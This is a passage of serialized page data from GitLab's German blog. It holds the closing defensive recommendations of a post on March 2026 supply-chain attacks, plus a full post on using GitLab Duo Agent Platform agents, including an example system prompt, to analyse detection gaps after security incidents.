Tools kaskadieren kann.\n\n\nWenn deine Organisation eine der betroffenen Komponenten eingesetzt hat, gehe davon aus, dass alle Pipeline-Secrets kompromittiert wurden: Rotiere sie umgehend und überprüfe Systeme auf persistente Backdoors. Unabhängig davon begrenzt die regelmäßige Rotation von Zugangsdaten und die Verwendung kurzlebiger Tokens den Blast-Radius jeder zukünftigen Kompromittierung.\n\n\nFolgendes empfehlen wir:\n\n\n1. **Dependencies wenn möglich an Prüfsummen pinnen.** Veränderliche Versions-Tags (wie die, die TeamPCP gekapert hat) sind keine Sicherheitsgrenze. SHA-gepinnte Referenzen für alle [CI/CD-Komponenten](https://docs.gitlab.com/ci/components/#manage-dependencies) oder Actions und Container-Images verwenden.\n\n\n2. **Pre-Execution-Integritätsprüfungen ausführen.** Pipeline Execution Policies nutzen, um die Integrität von Tools und Dependencies *vor* der Ausführung jedes Pipeline-Jobs zu verifizieren. Das ist die `.pipeline-policy-pre`-Stage.\n\n\n3. **Prüfen, was veröffentlicht wird.** Jeder Package-Publish-Schritt sollte eine automatisierte Validierung des Artefaktinhalts umfassen. Source Maps, Environment-Dateien und interne Konfigurationen sollten die Build-Umgebung niemals verlassen. Das [Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet einen sofort einsetzbaren Ausgangspunkt für npm-, Docker- und Helm-Artefakte.\n\n\n4. **Dependency-Drift erkennen.** Dependency-Auflösungen bei jedem Pipeline-Lauf gegen committete Lockfiles vergleichen. Auf unerwartete neue Dependencies achten.\n\n\n5. **Policy-Management zentralisieren.** Sich nicht darauf verlassen, dass Entwicklungsteams daran denken, Security-Checks einzubinden. Diese auf Gruppen- oder Instanzebene über Policies durchsetzen, die nicht entfernt oder übersprungen werden können.\n\n\n6. **Davon ausgehen, dass Security-Tools selbst Ziele sind.** Wenn dein Vulnerability-Scanner, SAST-Tool oder AI-Gateway kompromittiert werden kann, wird es das auch. Jedes Tool auf die minimal notwendigen Berechtigungen beschränken und sicherstellen, dass es auf nichts anderes zugreifen kann.\n\n\n## Schütze deine Pipelines mit GitLab\n\n\nInnerhalb von zwei Wochen kompromittierten Angreifer Produktions-Pipelines bei Organisationen, die einige der am weitesten verbreiteten Tools im Software-Entwicklungs-Ökosystem einsetzten.\n\n\nDie Lektion ist klar: Build-Pipelines brauchen denselben Grad an zentralem, Policy-gesteuertem Schutz, den wir auf Netzwerke und Cloud-Infrastruktur anwenden.\n\n\nGitLab Pipeline Execution Policies bieten diese Enforcement-Schicht. Sie stellen sicher, dass Security-Checks in jeder Pipeline und in jedem Projekt ausgeführt werden – unabhängig von den einzelnen Projektkonfigurationen. In Kombination mit Dependency Scanning, Secret Detection und Merge-Request-Approval-Policies können sie die Angriffsklassen, die wir im März 2026 erlebt haben, blockieren, erkennen und eindämmen.\n\n\nDas [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet eine funktionsfähige Pipeline Execution Policy, die genau die Fehlerklasse abfängt, die hinter dem Leak des großen AI-Unternehmens steckt – mit Abdeckung für npm-Pakete, Docker-Images und Helm-Charts. Klone es, deploye es in deiner Gruppe und stelle sicher, dass alle deine Pipelines für kommende Supply-Chain-Angriffe gewappnet sind.\n\n\nUm mit zentralen Pipeline-Policies zu starten, registriere dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/devsecops/).\n\n\n\n*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Abschnitt 27A des Securities Act von 1933 in der jeweils gültigen Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir davon ausgehen, dass die in diesen Aussagen wiedergegebenen Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren finden sich unter der Überschrift „Risk Factors\" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu revidieren, sofern dies nicht gesetzlich vorgeschrieben ist.*\n","Pipeline-Sicherheit: Lehren aus den Supply-Chain-Angriffen im März","Erfahre, wie zentrale Pipeline-Policies die Angriffsmuster hinter einer Reihe aktueller Supply-Chain-Attacken erkennen und blockieren können.",[22,689,690,691],"product","tutorial","features",[693],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-04-07",{"featured":32,"template":13,"slug":697},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":699,"config":710},{"body":700,"category":10,"date":701,"tags":702,"title":705,"description":706,"authors":707,"heroImage":709},"Nach einem Vorfall stellt sich jeder Incident-Response- und Security-Operations-Bereich dieselbe unbequeme Frage: Was haben wir übersehen, und warum? Eine gründliche Antwort erfordert echte Arbeit – jemand muss die Incident-Timeline durcharbeiten, die Angreiferaktionen auf Erkennungsmöglichkeiten mappen, die Alarme identifizieren, die hätten ausgelöst werden sollen, und diese Erkenntnisse in konkrete Verbesserungen übersetzen. Manuell durchgeführt ist das zeitaufwändig, inkonsistent und leicht zu deprioritisieren, wenn der nächste Vorfall bereits vor der Tür steht.\n\nDas Signals Engineering Team bei GitLab ist verantwortlich für den Aufbau und die Pflege der Erkennungsregeln, die die Plattform und das Unternehmen schützen. Wir kennen das Detection-Gap-Problem aus eigener Erfahrung und haben die Gap-Analyse mit dem [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) automatisiert, um unsere Bewertung dieser Lücken und deren Schließung zu verbessern.\n\nIn diesem Artikel beschreiben wir unseren Ansatz – mit zwei KI-Agenten, die sich in der eigenen Umgebung einsetzen lassen: dem integrierten Security Analyst Agent und einem selbst entwickelten Agent namens Detection Engineering Assistant.\n\n## Das Detection-Gap-Problem\n\nEine Detection Gap ist genau das, was der Name vermuten lässt: Ein Angreifer hat eine Aktion durchgeführt, und die eigenen Erkennungsregeln haben sie nicht erfasst. Gap-Analyse ist der Prozess, bei dem Sicherheitsvorfälle systematisch ausgewertet werden, um diese verpassten Erkennungsmöglichkeiten zu identifizieren und festzulegen, welche neuen oder verbesserten Regeln die Lücken schließen würden.\n\nDie Herausforderung liegt nicht im konzeptionellen Verständnis. Sie liegt darin, dass die Analyse ein sorgfältiges, methodisches Durcharbeiten von Incident-Daten erfordert und die Ereignisse mit der eigenen Erkennungsabdeckung abgeglichen werden müssen. Bei einem einzelnen Vorfall gelingt das einer erfahrenen Analystin oder einem erfahrenen Analysten gut. Über einen kontinuierlichen Strom von Vorfällen hinweg, mit mehreren beteiligten Engineers, ist Konsistenz schwer aufrechtzuerhalten – die Auswertung wird leicht oberflächlich.\n\nZiel war ein Prozess, der reproduzierbar, gründlich und direkt in dem Workflow verankert ist, in dem Sicherheitsvorfälle bereits dokumentiert werden: GitLab Issues.\n\n## Was ist GitLab Duo Agent Platform?\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-is-generally-available/) ist GitLabs Framework zum Aufbau und Betrieb von KI-Agenten, die eigenständig planen, Aktionen ausführen und nativ mit GitLab-Ressourcen wie Issues, Merge Requests und Code interagieren. Anders als ein einfaches Chat-Interface lassen sich Agenten in Duo Agent Platform mit spezifischen Rollen, Domänenwissen und Werkzeugzugang ausstatten – und sind dadurch für domänenspezifische Workflows wie Security Operations geeignet.\n\nDuo Agent Platform bietet zwei Wege:\n\n1. **Vordefinierten Agent nutzen** – GitLab liefert mehrere fertig konfigurierte Agenten aus, darunter einen Security Analyst Agent für sicherheitsbezogene Aufgaben.\n2. **Eigenen Agent entwickeln** – Ein benutzerdefinierter Agent lässt sich in wenigen Minuten erstellen: Name, Beschreibung und System-Prompt genügen. Der System-Prompt ist dabei das eigentliche Herzstück.\n\nBeide Wege sind für die Detection-Gap-Analyse geeignet.\n\n## 1. Security Analyst Agent\n\nDer einfachste Einstieg ist der [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/), der mit Sicherheits-Domänenwissen vorkonfiguriert ist und direkt aus einem GitLab Issue aufgerufen werden kann.\n\nFür die Gap-Analyse navigieren wir zu einem abgeschlossenen Incident-Issue und bitten den Agent, Beschreibung, Timeline, Aufgaben und Kommentare auf fehlende oder unzureichende Erkennungsregeln zu prüfen. Der Agent liest den gesamten Issue-Inhalt – einschließlich Kommentare, verknüpfte Artefakte und Timeline-Details – und leitet daraus potenzielle Lücken ab. Er kann nicht erkannte Taktiken, Techniken und Vorgehensweisen (TTPs) auf MITRE ATT&CK mappen und Bereiche vorschlagen, in denen neue Erkennungsregeln die Abdeckung verbessern würden.\n\nDas eignet sich gut für einen ersten Durchgang, insbesondere wenn Incident-Issues gut dokumentiert sind. Der Security Analyst Agent verfügt über Wissen zu allgemeinen Sicherheitskonzepten, typischen Angreiferverhalten und Erkennungsprinzipien. Für Teams, die mit KI-gestütztem Betrieb beginnen, bietet er sofortigen Mehrwert ohne Konfigurationsaufwand.\n\nAllerdings kennt der vordefinierte Agent die spezifische Umgebung nicht – das eigene SIEM, die Log-Quellen, den Detection Stack oder die teameigenen Detection-Engineering-Standards. Die Empfehlungen sind zwar fachlich korrekt, treffen aber manchmal nicht den konkreten Kontext, der für umsetzbare Erkennungsregeln erforderlich ist. Das war der Ausgangspunkt für die Entwicklung eines eigenen Agents.\n\n## 2. Den Detection Engineering Assistant entwickeln\n\n[Einen benutzerdefinierten Agent in GitLab Duo Agent Platform zu erstellen](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) ist unkompliziert. Im Duo Agent Platform Interface wird dem Agent ein Name gegeben (bei uns: **Detection Engineering Assistant**), eine kurze Beschreibung und ein System-Prompt. Damit ist der Agent einsatzbereit.\n\nDer System-Prompt ist der entscheidende Teil. Er ist die Wissensbasis des Agents: alles, was er über das Team, die Umgebung, die Standards und die eigene Arbeitsweise wissen soll. Ein dünner, vager System-Prompt liefert dünne, vage Ergebnisse. Ein ausführlicher, sorgfältig ausgearbeiteter System-Prompt erzeugt einen Agent, der sich wie ein fachkundiges Teammitglied verhält.\n\nSo sind wir beim Schreiben des System-Prompts für den Detection Engineering Assistant vorgegangen:\n\n### Rolle und Aufgabenbereich klar definieren\n\nDer System-Prompt beginnt damit, dem Agent genau mitzuteilen, was er ist und wofür er verantwortlich ist – nicht nur „du bist ein Security Analyst\", sondern konkret: „Du bist der Detection Engineering Assistant für GitLabs Signals Engineering Team, verantwortlich für die Analyse von Sicherheitsvorfällen und die Identifizierung von Lücken in unserer Erkennungsabdeckung.\" Diese Rahmung verankert jede Antwort des Agents.\n\n### Erkennungsphilosophie kodieren\n\nWir haben festgehalten, was für uns eine gute Erkennung ausmacht: niedrige False-Positive-Rate, hohe Signalqualität und umsetzbare Alarme, die Responders den notwendigen Kontext liefern. Außerdem haben wir unsere Präferenz für verhaltensbasierte Erkennungen gegenüber IOC-basierten Erkennungen beschrieben und wie wir den Zielkonflikt zwischen Abdeckungsbreite und Alert-Fatigue abwägen.\n\n### Tech-Stack und Log-Quellen als Kontext mitgeben\n\nEin Agent kann nur empfehlen, was tatsächlich umsetzbar ist. Wir haben dem Agent mitgeteilt, welche Log-Quellen wir erfassen, wie unser SIEM aufgebaut ist und welche Daten verfügbar sind. Damit empfiehlt er neue Erkennungsregeln in Bezug auf das, was wir tatsächlich implementieren können – nicht auf Basis hypothetischer Telemetrie.\n\n### In MITRE ATT&CK verankern\n\nDer Agent wurde angewiesen, Gap-Findings anhand von ATT&CK-Taktiken und -Techniken zu strukturieren. Das liefert konsistente, strukturierte Ausgaben, die direkt auf unser internes Coverage-Tracking mappen und die Priorisierung der zu schließenden Lücken vereinfachen.\n\n### Ausgabeformat festlegen\n\nWir haben genau vorgegeben, was der Agent produzieren soll: eine strukturierte Liste von Detection Gaps, jeweils mit der relevanten ATT&CK-Technik, einer Beschreibung des Versäumten, der Log-Quelle oder den Daten, die eine Erkennung ermöglichen würden, sowie einem empfohlenen Ansatz. Ein einheitliches Ausgabeformat erleichtert die Triage und die Überführung in Engineering-Aufgaben.\n\n### Beispiel-System-Prompt\n\n*Hinweis: Unser vollständiger System-Prompt für den Detection Engineering Assistant umfasst 1.870 Wörter und 337 Zeilen. Das folgende Beispiel zeigt nur einen kleinen Ausschnitt.*\n\n```text\nDu bist der Detection Engineering Assistant für GitLabs Security Operations Team. Deine Aufgabe: abgeschlossene Incidents analysieren und Lücken in unserer Detection-Coverage identifizieren.\n\nBeim Review eines Incidents:\n1. Identifiziere jede Angreifer-Aktion oder -Technik aus der Incident-Timeline\n2. Bewerte für jede Aktion, ob unsere bestehenden Detections sie erfasst hätten\n3. Dokumentiere nicht erkannte Aktionen als Detection Gap\n\nFür jeden Gap:\n- MITRE ATT&CK Technique ID und Name (z. B. T1078 – Valid Accounts)\n- Kurze Beschreibung: was passierte, warum nicht erkannt\n- Log-Quelle oder Telemetrie, die einen Detection-Ansatz ermöglichen würde (z. B. Auth-Logs, Process-Execution-Events, Netzwerkflüsse)\n- Empfohlener Detection-Ansatz, umsetzbar in unserem SIEM\n\nUnser SIEM erfasst [Log-Quellen]. Wir bevorzugen verhaltensbasierte Detections gegenüber statischen IOCs. Keine Empfehlungen, die ohne soliden Tuning-Pfad zu erheblichen False Positives führen...\n```\n\nEin so spezifischer System-Prompt liefert deutlich nützlichere Ergebnisse als ein generischer. Der Agent gibt keine allgemeinen Sicherheitsempfehlungen mehr, sondern konkrete Detection-Engineering-Empfehlungen.\n\n## Gap-Analyse an Vorfällen durchführen\n\nMit dem konfigurierten Detection Engineering Assistant ist der Workflow unkompliziert. Nach Abschluss eines Vorfalls wird der Assistant aus dem Incident-Issue in GitLab aufgerufen. Er liest den gesamten Issue – Zusammenfassung, Timeline, Ermittlungsnotizen und verknüpfte Ressourcen – und gibt eine strukturierte Gap-Analyse zurück.\n\nEine typische Ausgabe sieht so aus:\n\n**Gap: Laterale Bewegung über gültige Credentials nicht erkannt**\n\n* **ATT&CK:** T1078.004 – Valid Accounts: Cloud Accounts\n* **Was passierte:** Ein Angreifer verwendete ein gültiges Access Token, um sich bei einer zusätzlichen GitLab-Instanz zu authentifizieren. Kein Alarm wurde ausgelöst, da Authentifizierungs-Baseline-Erkennungen für diese Instanz fehlten.\n* **Log-Quelle:** Authentifizierungslogs von `example.gitlab.com`\n* **Empfohlener Ansatz:** Erkennung erstellen, die bei erstmaliger Authentifizierung eines Nutzerkontos bei `example.gitlab.com` innerhalb eines 90-Tage-Rollfensters auslöst, mit Unterdrückung für Konten mit etablierten Zugriffsmustern.\n\nDiese Art strukturierter Ausgabe fließt direkt in den Engineering-Backlog. Der Agent liefert einen hochwertigen ersten Entwurf – ein Engineer prüft die Findings, verifiziert, ob Lücken bereits durch undokumentierte Erkennungsregeln abgedeckt sind, und ergänzt Kontext, bevor daraus ein Engineering-Issue wird. Die aufwändige Arbeit des Durchlesens und der initialen Analyse ist automatisiert.\n\n## Was wir gelernt haben\n\nDrei Erkenntnisse aus dem Aufbau und der Weiterentwicklung dieses Workflows:\n\n**Der System-Prompt ist ein lebendes Dokument** – Jedes Mal, wenn der Agent eine offensichtliche Lücke übersieht oder das Framing nicht stimmt, wird der Prompt aktualisiert. Die Qualität des Agents spiegelt direkt wider, wie gut das Domänenwissen darin kodiert ist.\n\n**Die Qualität der Incident-Dokumentation ist entscheidend** – Ein Agent kann nur über das urteilen, was aufgeschrieben ist. Vorfälle mit detaillierten, strukturierten Timelines liefern deutlich bessere Gap-Analysen als knappe oder informelle Dokumentationen. Der Aufbau des Gap-Analyse-Workflows hatte einen unerwarteten Nebeneffekt: Er gab uns einen konkreten Grund, unsere Dokumentationsstandards für Vorfälle zu verbessern.\n\n**Das ist ein Kraftmultiplikator, kein Ersatz** – Der Detection Engineering Assistant ersetzt keine erfahrene Detection Engineerin und keinen erfahrenen Detection Engineer, verstärkt deren Wirkung jedoch. Der Mensch prüft die Findings, bewertet die Empfehlungen und trifft die finale Entscheidung darüber, was in den Backlog kommt. Der Aufwand für die initiale Analyse sinkt dabei deutlich, und die Konsistenz über Vorfälle hinweg steigt.\n\n## Einstieg\n\nWer einen eigenen Detection-Gap-Analyse-Agenten entwickeln möchte:\n\n1. Die letzten drei bis fünf abgeschlossenen Vorfälle durchsehen und festhalten, was eine gründliche Gap-Analyse jeweils zutage gefördert hätte.\n2. Aus diesen Beobachtungen einen System-Prompt entwickeln, der die eigene Umgebung, Standards und das gewünschte Ausgabeformat kodiert.\n3. Einen [benutzerdefinierten Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) in GitLab Duo Agent Platform mit diesem Prompt erstellen.\n4. Den Agent gegen einen der Vorfälle laufen lassen und den Prompt auf Basis der Ausgabe iterieren.\n\nDas Detection-Gap-Problem besteht weiterhin. Mit GitLab Duo Agent Platform lässt sich die Analyse jedoch reproduzierbar und konsistent gestalten – direkt dort, wo die Security-Arbeit bereits stattfindet.\n\n> **[GitLab Duo Agent Platform kostenlos testen](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/)**\n","2026-03-10",[22,23,690,703,691,689,704],"AI/ML","DevSecOps platform","Detection-Gaps automatisch analysieren mit GitLab Duo Agent Platform","GitLab zeigt, wie zwei KI-Agenten die Gap-Analyse nach Sicherheitsvorfällen reproduzierbar und konsistent machen – direkt im GitLab-Workflow.",[708],"Matt Coons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773147991/op5xyroonltdwqix0x3u.png",{"featured":12,"template":13,"slug":711},"automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"promotions":713},[714,728,740],{"id":715,"categories":716,"header":718,"text":719,"button":720,"image":725},"ai-modernization",[717],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":721,"config":722},"Get your AI maturity score",{"href":723,"dataGaName":724,"dataGaLocation":243},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":726},{"src":727},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":729,"categories":730,"header":732,"text":719,"button":733,"image":737},"devops-modernization",[689,731],"devsecops","Are you just managing tools or shipping innovation?",{"text":734,"config":735},"Get your DevOps maturity score",{"href":736,"dataGaName":724,"dataGaLocation":243},"/assessments/devops-modernization-assessment/",{"config":738},{"src":739},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":741,"categories":742,"header":743,"text":719,"button":744,"image":748},"security-modernization",[22],"Are you trading speed for security?",{"text":745,"config":746},"Get your security maturity score",{"href":747,"dataGaName":724,"dataGaLocation":243},"/assessments/security-modernization-assessment/",{"config":749},{"src":750},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":752,"blurb":753,"button":754,"secondaryButton":759},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":755,"config":756},"Kostenlosen Test starten",{"href":757,"dataGaName":49,"dataGaLocation":758},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/","feature",{"text":51,"config":760},{"href":53,"dataGaName":54,"dataGaLocation":758},1776436743097]